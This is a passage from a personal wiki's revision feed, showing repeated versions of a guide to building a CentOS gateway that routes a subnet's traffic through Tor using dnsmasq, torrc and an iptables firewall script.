$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the firewall script above to set up IPTables.&lt;br /&gt;
&lt;br /&gt;
The TOR gateway should now be operational.&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1221</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1221"/>
		<updated>2015-08-17T07:49:17Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1220</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1220"/>
		<updated>2015-08-17T07:47:30Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1219</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1219"/>
		<updated>2015-08-17T07:43:27Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: Created page with &amp;quot;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24, 192.168.192.2/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet and will have two addresses. One as the gateway IP address, and another for an internal website. The internal website is optional, though I&#039;m adding it since this project will be used as part of a public WiFi network which requires registration.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Tor_Wifi_Gateway&amp;diff=1218</id>
		<title>Tor Wifi Gateway</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Tor_Wifi_Gateway&amp;diff=1218"/>
		<updated>2015-08-17T01:43:46Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The Tor Wifi Gateway is a open wifi access point that lets users connect to the internet via Tor. The purpose of this is to create a gateway which transparently proxies traffic over to Tor (which intrinsically is useful for other projects), perhaps share internet access to neighbors, and perhaps provide access to my stash without authentication.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! What !! Configuration&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eth0 (10.1.1.11)&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to wifi access point) || eth1 (192.168.192.10, 192.168.192.11)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
# Tor Setup: https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionandAnonymizingMiddlebox1&lt;br /&gt;
# DHCP / DNS proxy for the wifi subnet&lt;br /&gt;
&lt;br /&gt;
=== TOR ===&lt;br /&gt;
Edit the &amp;lt;code&amp;gt;/etc/tor/torrc&amp;lt;/code&amp;gt; configuration to contain the following lines:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.10&lt;br /&gt;
&lt;br /&gt;
DNSPort 53&lt;br /&gt;
DNSListenAddress  192.168.192.11&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
I&#039;ve placed the DNS server on a separate IP because I will be using &amp;lt;code&amp;gt;dnsmasq&amp;lt;/code&amp;gt; as my &#039;primary&#039; DNS server that users will be using since I wanted my own portal/splash page with my own domain name (ie: torified.wifi).&lt;br /&gt;
&lt;br /&gt;
==== Troubleshooting ====&lt;br /&gt;
If you are having trouble starting tor as a service with it complaining about being unable to listen on a specific port, ensure you have SELinux configured (or disabled).&lt;br /&gt;
&lt;br /&gt;
=== DHCP / DNS Server ===&lt;br /&gt;
We will be using &amp;lt;code&amp;gt;[[dnsmasq]]&amp;lt;/code&amp;gt; as the DHCP/DNS server.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.10&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
